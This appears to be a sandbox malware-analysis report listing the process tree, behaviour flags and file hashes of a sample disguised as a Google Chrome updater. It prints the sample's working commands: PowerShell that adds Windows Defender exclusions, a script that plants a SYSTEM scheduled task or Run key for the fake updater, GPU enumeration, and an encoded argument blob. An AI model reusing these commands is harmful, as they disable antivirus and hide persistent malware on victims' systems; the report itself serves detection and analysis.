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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4572
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:4536
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:2972 -
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor3⤵
- Detects videocard installed
PID:4836
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2840
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:1968
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:3044
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C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1584
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 2.0MB
- SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
- MD5 a16a669a09bf158058b83e04e69fe38e
- SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
- SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
- SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 1.2MB
- SHA256 d2617e217c99c6f1c57d8242c88cfa7d96ff963bb738b6c96707ed892f79e0e1
- MD5 da4fbe620be1c165687efbdd25ff7221
- SHA1 c4a02731d1926affde9aae7c3b889b651ef7499b
- SHA512 f583be34988b1103f08d75afeddddb95b4c2d2bab87816be9a4c64d55540cbcfa782f4c1f3da9ff0fab0560b80fb41da4c716a9d58b29cfe7b0542164a44c7cc
- SSDEEP 24576:rWVipGdVZjdqVC5jd88FC3bc+uxWV+i+JJi732RuzDhb6Kd5Fe12urmvDavvXkYu:rWVipAxqo5p88CbXuxWQiSJU320ZW21x
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Libs\g.log
- Size 226B
- SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
- MD5 fdba80d4081c28c65e32fff246dc46cb
- SHA1 74f809dedd1fc46a3a63ac9904c80f0b817b3686
- SHA512 b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 944B
- SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
- MD5 d28a889fd956d5cb3accfbaf1143eb6f
- SHA1 157ba54b365341f8ff06707d996b3635da8446f7
- SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 7bed9ce9a785e557b8053dea7d43bd68b9de5b087593734968abf86b2cc49ee9
- MD5 0ad3b132dcf2c2524fd766fba7f0e8d6
- SHA1 092f934636f2474ce2ab380b464c1f7d1bc140e4
- SHA512 c5f1251c626de8014e5214f524d29fdcba391d5fdee0b3da1a386bd58e16fdc37174c28af9d45ed1b58c41bfb8a2ba4337bc57720cfca6d0eee5e0f0ddf255dd
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_clvj1xds.gvy.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 4KB
- SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
- MD5 bdb25c22d14ec917e30faf353826c5de
- SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
- SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
- SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
- MD5 b42c70c1dbf0d1d477ec86902db9e986
- SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
- SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
- MD5 SHA1 SHA512